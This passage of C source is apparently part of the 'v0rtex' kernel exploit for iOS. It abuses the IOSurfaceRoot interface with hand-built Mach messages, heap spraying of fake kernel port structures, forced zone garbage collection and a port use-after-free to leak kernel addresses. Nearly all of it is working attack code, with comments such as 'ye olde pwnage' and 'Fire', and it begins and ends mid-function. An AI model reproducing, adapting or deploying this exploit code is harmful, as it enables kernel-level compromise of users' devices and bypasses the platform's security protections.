MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 329 | if(ret == KERN_SUCCESS) 330 | { 331 | ret = OutP->RetCode; 332 | } 333 | return ret; 334 | } 335 | 336 | // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance. 337 | // Prepare everything - sched_yield() - fire. 338 | static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len) 339 | { 340 | #pragma pack(4) 341 | typedef struct { 342 | mach_msg_header_t Head; 343 | NDR_record_t NDR; 344 | uint32_t selector; 345 | mach_msg_type_number_t scalar_inputCnt; 346 | mach_msg_type_number_t inband_inputCnt; 347 | uint32_t inband_input[4]; 348 | mach_vm_address_t ool_input; 349 | mach_vm_size_t ool_input_size; 350 | mach_msg_type_number_t inband_outputCnt; 351 | mach_msg_type_number_t scalar_outputCnt; 352 | mach_vm_address_t ool_output; 353 | mach_vm_size_t ool_output_size; 354 | } DeleteRequest; 355 | typedef struct { 356 | mach_msg_header_t Head; 357 | NDR_record_t NDR; 358 | uint32_t selector; 359 | mach_msg_type_number_t scalar_inputCnt; 360 | mach_msg_type_number_t inband_inputCnt; 361 | mach_vm_address_t ool_input; 362 | mach_vm_size_t ool_input_size; 363 | mach_msg_type_number_t inband_outputCnt; 364 | mach_msg_type_number_t scalar_outputCnt; 365 | mach_vm_address_t ool_output; 366 | mach_vm_size_t ool_output_size; 367 | } SetRequest; 368 | typedef struct { 369 | mach_msg_header_t Head; 370 | NDR_record_t NDR; 371 | kern_return_t RetCode; 372 | mach_msg_type_number_t inband_outputCnt; 373 | char inband_output[4096]; 374 | mach_msg_type_number_t scalar_outputCnt; 375 | uint64_t scalar_output[16]; 376 | mach_vm_size_t ool_output_size; 377 | mach_msg_trailer_t trailer; 378 | } Reply; 379 | #pragma pack() 380 | 381 | // Delete 382 | union { 383 | DeleteRequest In; 384 | Reply Out; 385 | } DMess; 386 | 387 | DeleteRequest *DInP = &DMess.In; 388 | Reply *DOutP = &DMess.Out; 389 | 390 | DInP->NDR = NDR_record; 391 | DInP->selector = IOSURFACE_DELETE_VALUE; 392 | DInP->scalar_inputCnt = 0; 393 | 394 | DInP->inband_input[0] = surfaceId; 395 | DInP->inband_input[2] = transpose(propertyId); 396 | DInP->inband_input[3] = 0x0; // Null terminator 397 | DInP->inband_inputCnt = sizeof(DInP->inband_input); 398 | 399 | DInP->ool_input = 0; 400 | DInP->ool_input_size = 0; 401 | 402 | DInP->inband_outputCnt = sizeof(uint32_t); 403 | DInP->scalar_outputCnt = 0; 404 | DInP->ool_output = 0; 405 | DInP->ool_output_size = 0; 406 | 407 | DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 408 | DInP->Head.msgh_remote_port = client; 409 | DInP->Head.msgh_local_port = mig_get_reply_port(); 410 | DInP->Head.msgh_id = 2865; 411 | DInP->Head.msgh_reserved = 0; 412 | 413 | // Set 414 | union { 415 | SetRequest In; 416 | Reply Out; 417 | } SMess; 418 | 419 | SetRequest *SInP = &SMess.In; 420 | Reply *SOutP = &SMess.Out; 421 | 422 | SInP->NDR = NDR_record; 423 | SInP->selector = IOSURFACE_SET_VALUE; 424 | SInP->scalar_inputCnt = 0; 425 | 426 | SInP->inband_inputCnt = 0; 427 | 428 | SInP->ool_input = (mach_vm_address_t)buf; 429 | SInP->ool_input_size = len; 430 | 431 | SInP->inband_outputCnt = sizeof(uint32_t); 432 | SInP->scalar_outputCnt = 0; 433 | SInP->ool_output = 0; 434 | SInP->ool_output_size = 0; 435 | 436 | SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); 437 | SInP->Head.msgh_remote_port = client; 438 | SInP->Head.msgh_local_port = mig_get_reply_port(); 439 | SInP->Head.msgh_id = 2865; 440 | SInP->Head.msgh_reserved = 0; 441 | 442 | // Deep breath 443 | sched_yield(); 444 | 445 | // Fire 446 | kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 447 | if(ret == KERN_SUCCESS) 448 | { 449 | ret = DOutP->RetCode; 450 | } 451 | if(ret != KERN_SUCCESS) 452 | { 453 | return ret; 454 | } 455 | ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 456 | if(ret == KERN_SUCCESS) 457 | { 458 | ret = SOutP->RetCode; 459 | } 460 | return ret; 461 | } 462 | 463 | // ********** ********** ********** data structures ********** ********** ********** 464 | 465 | #ifdef __LP64__ 466 | typedef volatile struct 467 | { 468 | kptr_t prev; 469 | kptr_t next; 470 | kptr_t start; 471 | kptr_t end; 472 | } kmap_hdr_t; 473 | #endif 474 | 475 | typedef volatile struct { 476 | uint32_t ip_bits; 477 | uint32_t ip_references; 478 | struct { 479 | kptr_t data; 480 | uint32_t type; 481 | #ifdef __LP64__ 482 | uint32_t pad; 483 | #endif 484 | } ip_lock; // spinlock 485 | struct { 486 | struct { 487 | struct { 488 | uint32_t flags; 489 | uint32_t waitq_interlock; 490 | uint64_t waitq_set_id; 491 | uint64_t waitq_prepost_id; 492 | struct { 493 | kptr_t next; 494 | kptr_t prev; 495 | } waitq_queue; 496 | } waitq; 497 | kptr_t messages; 498 | uint32_t seqno; 499 | uint32_t receiver_name; 500 | uint16_t msgcount; 501 | uint16_t qlimit; 502 | #ifdef __LP64__ 503 | uint32_t pad; 504 | #endif 505 | } port; 506 | kptr_t klist; 507 | } ip_messages; 508 | kptr_t ip_receiver; 509 | kptr_t ip_kobject; 510 | kptr_t ip_nsrequest; 511 | kptr_t ip_pdrequest; 512 | kptr_t ip_requests; 513 | kptr_t ip_premsg; 514 | uint64_t ip_context; 515 | uint32_t ip_flags; 516 | uint32_t ip_mscount; 517 | uint32_t ip_srights; 518 | uint32_t ip_sorights; 519 | } kport_t; 520 | 521 | typedef volatile struct { 522 | union { 523 | kptr_t port; 524 | uint32_t index; 525 | } notify; 526 | union { 527 | uint32_t name; 528 | kptr_t size; 529 | } name; 530 | } kport_request_t; 531 | 532 | typedef volatile union 533 | { 534 | struct { 535 | struct { 536 | kptr_t data; 537 | uint32_t reserved : 24, 538 | type : 8; 539 | #ifdef __LP64__ 540 | uint32_t pad; 541 | #endif 542 | } lock; // mutex lock 543 | uint32_t ref_count; 544 | uint32_t active; 545 | uint32_t halting; 546 | #ifdef __LP64__ 547 | uint32_t pad; 548 | #endif 549 | kptr_t map; 550 | } a; 551 | struct { 552 | char pad[OFFSET_TASK_ITK_SELF]; 553 | kptr_t itk_self; 554 | } b; 555 | } ktask_t; 556 | 557 | // ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** ********** 558 | 559 | static kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len) 560 | { 561 | bool twice = false; 562 | if(off + sizeof(kport_t) > pagesize) 563 | { 564 | twice = true; 565 | VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off); 566 | VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off); 567 | } 568 | else 569 | { 570 | VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t)); 571 | } 572 | buf[6] = transpose(pageId); 573 | kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len); 574 | if(twice && ret == KERN_SUCCESS) 575 | { 576 | ++pageId; 577 | buf[6] = transpose(pageId); 578 | ret = reallocate_buf(client, surfaceId, pageId, buf, len); 579 | } 580 | return ret; 581 | } 582 | 583 | kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport) 584 | { 585 | request[2] = transpose(pageId); 586 | size_t size = respsz; 587 | kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size); 588 | LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret)); 589 | if(ret == KERN_SUCCESS && size == respsz) 590 | { 591 | size_t sz = pagesize - off; 592 | if(sz > sizeof(kport_t)) 593 | { 594 | sz = sizeof(kport_t); 595 | } 596 | VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz); 597 | if(sz < sizeof(kport_t)) 598 | { 599 | ++pageId; 600 | request[2] = transpose(pageId); 601 | size = respsz; 602 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size); 603 | LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret)); 604 | if(ret == KERN_SUCCESS && size == respsz) 605 | { 606 | VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz); 607 | } 608 | } 609 | } 610 | if(ret == KERN_SUCCESS && size < respsz) 611 | { 612 | LOG("Response too short."); 613 | ret = KERN_FAILURE; 614 | } 615 | return ret; 616 | } 617 | 618 | // ********** ********** ********** ye olde pwnage ********** ********** ********** 619 | 620 | kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data) 621 | { 622 | kern_return_t retval = KERN_FAILURE, 623 | ret = 0; 624 | task_t self = mach_task_self(); 625 | host_t host = mach_host_self(); 626 | 627 | io_connect_t client = MACH_PORT_NULL; 628 | mach_port_t stuffport = MACH_PORT_NULL; 629 | mach_port_t realport = MACH_PORT_NULL; 630 | mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL }; 631 | mach_port_t port = MACH_PORT_NULL; 632 | mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL }; 633 | mach_port_t fakeport = MACH_PORT_NULL; 634 | mach_vm_size_t pagesize = 0, 635 | shmemsz = 0; 636 | uint32_t *dict_prep = NULL, 637 | *dict_big = NULL, 638 | *dict_small = NULL, 639 | *resp = NULL; 640 | mach_vm_address_t shmem_addr = 0; 641 | mach_port_array_t maps = NULL; 642 | 643 | /********** ********** data hunting ********** **********/ 644 | 645 | vm_size_t pgsz = 0; 646 | ret = _host_page_size(host, &pgsz); 647 | pagesize = pgsz; 648 | LOG("page size: 0x%llx, %s", pagesize, mach_error_string(ret)); 649 | if(ret != KERN_SUCCESS) 650 | { 651 | goto out; 652 | } 653 | 654 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 655 | LOG("service: %x", service); 656 | if(!MACH_PORT_VALID(service)) 657 | { 658 | goto out; 659 | } 660 | 661 | ret = IOServiceOpen(service, self, 0, &client); 662 | LOG("client: %x, %s", client, mach_error_string(ret)); 663 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(client)) 664 | { 665 | goto out; 666 | } 667 | 668 | uint32_t dict_create[] = 669 | { 670 | kOSSerializeMagic, 671 | kOSSerializeEndCollection | kOSSerializeDictionary | 1, 672 | 673 | kOSSerializeSymbol | 19, 674 | 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize" 675 | kOSSerializeEndCollection | kOSSerializeNumber | 32, 676 | 0x1000, 677 | 0x0, 678 | }; 679 | union 680 | { 681 | char _padding[IOSURFACE_CREATE_OUTSIZE]; 682 | struct 683 | { 684 | mach_vm_address_t addr1; 685 | mach_vm_address_t addr2; 686 | uint32_t id; 687 | } data; 688 | } surface; 689 | VOLATILE_BZERO32(&surface, sizeof(surface)); 690 | size_t size = sizeof(surface); 691 | ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size); 692 | LOG("newSurface: %s", mach_error_string(ret)); 693 | if(ret != KERN_SUCCESS) 694 | { 695 | goto out; 696 | } 697 | LOG("surface ID: 0x%x", surface.data.id); 698 | 699 | /********** ********** data preparation ********** **********/ 700 | 701 | size_t num_data = FILL_MEMSIZE / pagesize, 702 | dictsz_prep = (5 + 4 * num_data) * sizeof(uint32_t), 703 | dictsz_big = dictsz_prep + (num_data * pagesize), 704 | dictsz_small = 9 * sizeof(uint32_t) + pagesize, 705 | respsz = 4 * sizeof(uint32_t) + pagesize; 706 | dict_prep = malloc(dictsz_prep); 707 | if(!dict_prep) 708 | { 709 | LOG("malloc(prep): %s", strerror(errno)); 710 | goto out; 711 | } 712 | dict_big = malloc(dictsz_big); 713 | if(!dict_big) 714 | { 715 | LOG("malloc(big): %s", strerror(errno)); 716 | goto out; 717 | } 718 | dict_small = malloc(dictsz_small); 719 | if(!dict_small) 720 | { 721 | LOG("malloc(small): %s", strerror(errno)); 722 | goto out; 723 | } 724 | resp = malloc(respsz); 725 | if(!resp) 726 | { 727 | LOG("malloc(resp): %s", strerror(errno)); 728 | goto out; 729 | } 730 | VOLATILE_BZERO32(dict_prep, dictsz_prep); 731 | VOLATILE_BZERO32(dict_big, dictsz_big); 732 | VOLATILE_BZERO32(dict_small, dictsz_small); 733 | VOLATILE_BZERO32(resp, respsz); 734 | 735 | // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9 736 | // is actually 0x1000, so references to our reallocated memory may be shifted 737 | // by (0x1000 % sizeof(kport_t)) 738 | kport_t triple_kport; 739 | VOLATILE_BZERO32(&triple_kport, sizeof(triple_kport)); 740 | triple_kport.ip_lock.data = 0x0; 741 | triple_kport.ip_lock.type = 0x11; 742 | #ifdef __LP64__ 743 | triple_kport.ip_messages.port.waitq.waitq_queue.next = 0x0; 744 | triple_kport.ip_messages.port.waitq.waitq_queue.prev = 0x11; 745 | triple_kport.ip_nsrequest = 0x0; 746 | triple_kport.ip_pdrequest = 0x11; 747 | #endif 748 | 749 | uint32_t *prep = dict_prep; 750 | uint32_t *big = dict_big; 751 | *(big++) = *(prep++) = surface.data.id; 752 | *(big++) = *(prep++) = 0x0; 753 | *(big++) = *(prep++) = kOSSerializeMagic; 754 | *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeArray | 1; 755 | *(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeDictionary | num_data; 756 | for(size_t i = 0; i < num_data; ++i) 757 | { 758 | *(big++) = *(prep++) = kOSSerializeSymbol | 5; 759 | *(big++) = *(prep++) = transpose(i); 760 | *(big++) = *(prep++) = 0x0; // null terminator 761 | *(big++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1); 762 | size_t j = 0; 763 | for(uintptr_t ptr = (uintptr_t)big, end = ptr + pagesize; ptr < end; ptr += sizeof(triple_kport)) 764 | { 765 | size_t sz = end - ptr; 766 | if(sz > sizeof(triple_kport)) 767 | { 768 | sz = sizeof(triple_kport); 769 | } 770 | triple_kport.ip_context = (0x10000000ULL | (j << 20) | i) << 32; 771 | #ifdef __LP64__ 772 | triple_kport.ip_messages.port.pad = 0x20000000 | (j << 20) | i; 773 | triple_kport.ip_lock.pad = 0x30000000 | (j << 20) | i; 774 | #endif 775 | VOLATILE_BCOPY32(&triple_kport, ptr, sz); 776 | ++j; 777 | } 778 | big += (pagesize / sizeof(uint32_t)); 779 | *(prep++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeBoolean | 1; 780 | } 781 | 782 | dict_small[0] = surface.data.id; 783 | dict_small[1] = 0x0; 784 | dict_small[2] = kOSSerializeMagic; 785 | dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1; 786 | dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1; 787 | dict_small[5] = kOSSerializeSymbol | 5; 788 | // [6] later 789 | dict_small[7] = 0x0; // null terminator 790 | dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1); 791 | 792 | uint32_t dummy = 0; 793 | size = sizeof(dummy); 794 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_prep, dictsz_prep, &dummy, &size); 795 | if(ret != KERN_SUCCESS) 796 | { 797 | LOG("setValue(prep): %s", mach_error_string(ret)); 798 | goto out; 799 | } 800 | 801 | /********** ********** black magic ********** **********/ 802 | 803 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport); 804 | LOG("stuffport: %x, %s", stuffport, mach_error_string(ret)); 805 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(stuffport)) 806 | { 807 | goto out; 808 | } 809 | 810 | ret = _kernelrpc_mach_port_insert_right_trap(self, stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND); 811 | LOG("mach_port_insert_right: %s", mach_error_string(ret)); 812 | if(ret != KERN_SUCCESS) 813 | { 814 | goto out; 815 | } 816 | 817 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport); 818 | LOG("realport: %x, %s", realport, mach_error_string(ret)); 819 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport)) 820 | { 821 | goto out; 822 | } 823 | 824 | sched_yield(); 825 | // Clean out full pages already in freelists 826 | ret = my_mach_zone_force_gc(host); 827 | if(ret != KERN_SUCCESS) 828 | { 829 | LOG("mach_zone_force_gc: %s", mach_error_string(ret)); 830 | goto out; 831 | } 832 | 833 | for(size_t i = 0; i < NUM_BEFORE; ++i) 834 | { 835 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]); 836 | if(ret != KERN_SUCCESS) 837 | { 838 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 839 | goto out; 840 | } 841 | } 842 | 843 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port); 844 | if(ret != KERN_SUCCESS) 845 | { 846 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 847 | goto out; 848 | } 849 | if(!MACH_PORT_VALID(port)) 850 | { 851 | LOG("port: %x", port); 852 | goto out; 853 | } 854 | 855 | for(size_t i = 0; i < NUM_AFTER; ++i) 856 | { 857 | ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]); 858 | if(ret != KERN_SUCCESS) 859 | { 860 | LOG("mach_port_allocate: %s", mach_error_string(ret)); 861 | goto out; 862 | } 863 | } 864 | 865 | LOG("port: %x", port); 866 | 867 | ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND); 868 | LOG("mach_port_insert_right: %s", mach_error_string(ret)); 869 | if(ret != KERN_SUCCESS) 870 | { 871 | goto out; 872 | } 873 | 874 | #pragma pack(4) 875 | typedef struct { 876 | mach_msg_base_t base; 877 | mach_msg_ool_ports_descriptor_t desc[2]; 878 | } StuffMsg; 879 | #pragma pack() 880 | StuffMsg msg; 881 | msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); 882 | msg.base.header.msgh_remote_port = stuffport; 883 | msg.base.header.msgh_local_port = MACH_PORT_NULL; 884 | msg.base.header.msgh_id = 1234; 885 | msg.base.header.msgh_reserved = 0; 886 | msg.base.body.msgh_descriptor_count = 2; 887 | msg.desc[0].address = before; 888 | msg.desc[0].count = NUM_BEFORE; 889 | msg.desc[0].disposition = MACH_MSG_TYPE_MOVE_RECEIVE; 890 | msg.desc[0].deallocate = FALSE; 891 | msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 892 | msg.desc[1].address = after; 893 | msg.desc[1].count = NUM_AFTER; 894 | msg.desc[1].disposition = MACH_MSG_TYPE_MOVE_RECEIVE; 895 | msg.desc[1].deallocate = FALSE; 896 | msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 897 | ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); 898 | LOG("mach_msg: %s", mach_error_string(ret)); 899 | if(ret != KERN_SUCCESS) 900 | { 901 | goto out; 902 | } 903 | 904 | for(size_t i = 0; i < NUM_BEFORE; ++i) 905 | { 906 | RELEASE_PORT(before[i]); 907 | } 908 | for(size_t i = 0; i < NUM_AFTER; ++i) 909 | { 910 | RELEASE_PORT(after[i]); 911 | } 912 | 913 | #if 0 914 | uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] = 915 | { 916 | // Some header or something 917 | surface.data.id, 918 | 0x0, 919 | 920 | kOSSerializeMagic, 921 | kOSSerializeEndCollection | kOSSerializeArray | 2, 922 | 923 | kOSSerializeString | (DATA_SIZE - 1), 924 | }; 925 | dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4; 926 | 927 | // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9 928 | // is actually 0x1000, so references to our reallocated memory may be shifted 929 | // by (0x1000 % sizeof(kport_t)) 930 | kport_t triple_kport = 931 | { 932 | .ip_lock = 933 | { 934 | .data = 0x0, 935 | .type = 0x11, 936 | }, 937 | #ifdef __LP64__ 938 | .ip_messages = 939 | { 940 | .port = 941 | { 942 | .waitq = 943 | { 944 | .waitq_queue = 945 | { 946 | .next = 0x0, 947 | .prev = 0x11, 948 | } 949 | }, 950 | }, 951 | }, 952 | .ip_nsrequest = 0x0, 953 | .ip_pdrequest = 0x11, 954 | #endif 955 | }; 956 | for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 957 | { 958 | UNALIGNED_COPY(&triple_kport, ptr, sizeof(kport_t)); 959 | } 960 | #endif 961 | 962 | // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod, 963 | // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs), 964 | // sleep after the connect call and register again, thus releasing the reference synchronously. 965 | ret = mach_ports_register(self, &port, 1); 966 | LOG("mach_ports_register: %s", mach_error_string(ret)); 967 | if(ret != KERN_SUCCESS) 968 | { 969 | goto out; 970 | } 971 | 972 | uint64_t ref = 0; 973 | uint64_t in[3] = { 0, 0x666, 0 }; 974 | IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL); 975 | IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL); 976 | 977 | LOG("herp derp"); 978 | usleep(100000); 979 | 980 | sched_yield(); 981 | ret = mach_ports_register(self, &client, 1); // gonna use that later 982 | if(ret != KERN_SUCCESS) 983 | { 984 | LOG("mach_ports_register: %s", mach_error_string(ret)); 985 | goto out; 986 | } 987 | 988 | // Prevent cleanup 989 | fakeport = port; 990 | port = MACH_PORT_NULL; 991 | 992 | // Release port with ool port refs 993 | RELEASE_PORT(stuffport); 994 | 995 | ret = my_mach_zone_force_gc(host); 996 | if(ret != KERN_SUCCESS) 997 | { 998 | LOG("mach_zone_force_gc: %s", mach_error_string(ret)); 999 | goto out; 1000 | } 1001 | 1002 | #if 0 1003 | for(uint32_t i = 0; i < NUM_DATA; ++i) 1004 | { 1005 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i); 1006 | kport_t *dptr = (kport_t*)&dict[5]; 1007 | for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j) 1008 | { 1009 | *(((volatile uint32_t*)&dptr[j].ip_context) + 1) = 0x10000000 | (j << 20) | i; 1010 | #ifdef __LP64__ 1011 | *(volatile uint32_t*)&dptr[j].ip_messages.port.pad = 0x20000000 | (j << 20) | i; 1012 | *(volatile uint32_t*)&dptr[j].ip_lock.pad = 0x30000000 | (j << 20) | i; 1013 | #endif 1014 | } 1015 | uint32_t dummy = 0; 1016 | size = sizeof(dummy); 1017 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size); 1018 | if(ret != KERN_SUCCESS) 1019 | { 1020 | LOG("setValue(%u): %s", i, mach_error_string(ret)); 1021 | goto out; 1022 | } 1023 | } 1024 | #endif 1025 | dummy = 0; 1026 | size = sizeof(dummy); 1027 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_big, dictsz_big, &dummy, &size); 1028 | if(ret != KERN_SUCCESS) 1029 | { 1030 | LOG("setValue(big): %s", mach_error_string(ret)); 1031 | goto out; 1032 | } 1033 | 1034 | uint64_t ctx = 0xffffffff; 1035 | ret = my_mach_port_get_context(self, fakeport, &ctx); 1036 | LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret)); 1037 | if(ret != KERN_SUCCESS) 1038 | { 1039 | goto out; 1040 | } 1041 | 1042 | uint32_t shift_mask = ctx >> 60; 1043 | if(shift_mask < 1 || shift_mask > 3) 1044 | { 1045 | LOG("Invalid shift mask."); 1046 | goto out; 1047 | } 1048 | #if 0 1049 | uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t)); 1050 | #endif 1051 | uint32_t ins = ((shift_mask - 1) * pagesize) % sizeof(kport_t), 1052 | idx = (ctx >> 32) & 0xfffff, 1053 | iff = (ctx >> 52) & 0xff; 1054 | int64_t fp_off = sizeof(kport_t) * iff - ins; 1055 | if(fp_off < 0) 1056 | { 1057 | --idx; 1058 | fp_off += pagesize; 1059 | } 1060 | uint64_t fakeport_off = (uint64_t)fp_off; 1061 | LOG("fakeport offset: 0x%llx", fakeport_off); 1062 | #if 0 1063 | dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx); 1064 | #endif 1065 | uint32_t request[] = 1066 | { 1067 | // Same header 1068 | surface.data.id, 1069 | 0x0, 1070 | 1071 | #if 0 1072 | transpose(idx), // Key 1073 | #endif 1074 | 0x0, // Placeholder 1075 | 0x0, // Null terminator 1076 | }; 1077 | kport_t kport; 1078 | VOLATILE_BZERO32(&kport, sizeof(kport)); 1079 | kport.ip_bits = 0x80000000; // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE 1080 | kport.ip_references = 100; 1081 | kport.ip_lock.type = 0x11; 1082 | kport.ip_messages.port.receiver_name = 1; 1083 | kport.ip_messages.port.msgcount = MACH_PORT_QLIMIT_KERNEL; 1084 | kport.ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL; 1085 | kport.ip_srights = 99; 1086 | 1087 | #if 0 1088 | // Note to self: must be `(uintptr_t)&dict[5] + DATA_SIZE` and not `ptr + DATA_SIZE`. 1089 | for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 1090 | { 1091 | UNALIGNED_COPY(&kport, ptr, sizeof(kport_t)); 1092 | } 1093 | #endif 1094 | 1095 | ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small); 1096 | LOG("reallocate_fakeport: %s", mach_error_string(ret)); 1097 | if(ret != KERN_SUCCESS) 1098 | { 1099 | goto out; 1100 | } 1101 | 1102 | // Register realport on fakeport 1103 | mach_port_t notify = MACH_PORT_NULL; 1104 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); 1105 | LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret)); 1106 | if(ret != KERN_SUCCESS) 1107 | { 1108 | goto out; 1109 | } 1110 | 1111 | #if 0 1112 | uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 }; 1113 | size = sizeof(response); 1114 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); 1115 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); 1116 | if(ret != KERN_SUCCESS) 1117 | { 1118 | goto out; 1119 | } 1120 | if(size < DATA_SIZE + 0x10) 1121 | { 1122 | LOG("Response too short."); 1123 | goto out; 1124 | } 1125 | #endif 1126 | kport_t myport; 1127 | VOLATILE_BZERO32(&myport, sizeof(myport)); 1128 | ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport); 1129 | if(ret != KERN_SUCCESS) 1130 | { 1131 | goto out; 1132 | } 1133 | 1134 | #if 0 1135 | uint32_t fakeport_off = -1; 1136 | kptr_t realport_addr = 0; 1137 | for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t)) 1138 | { 1139 | kptr_t val = UNALIGNED_KPTR_DEREF(&((kport_t*)ptr)->ip_pdrequest); 1140 | if(val) 1141 | { 1142 | fakeport_off = ptr - (uintptr_t)&response[4]; 1143 | realport_addr = val; 1144 | break; 1145 | } 1146 | } 1147 | #endif 1148 | kptr_t realport_addr = myport.ip_pdrequest; 1149 | if(!realport_addr) 1150 | { 1151 | LOG("Failed to leak realport address"); 1152 | goto out; 1153 | } 1154 | LOG("realport addr: " ADDR, realport_addr); 1155 | #if 0 1156 | uintptr_t 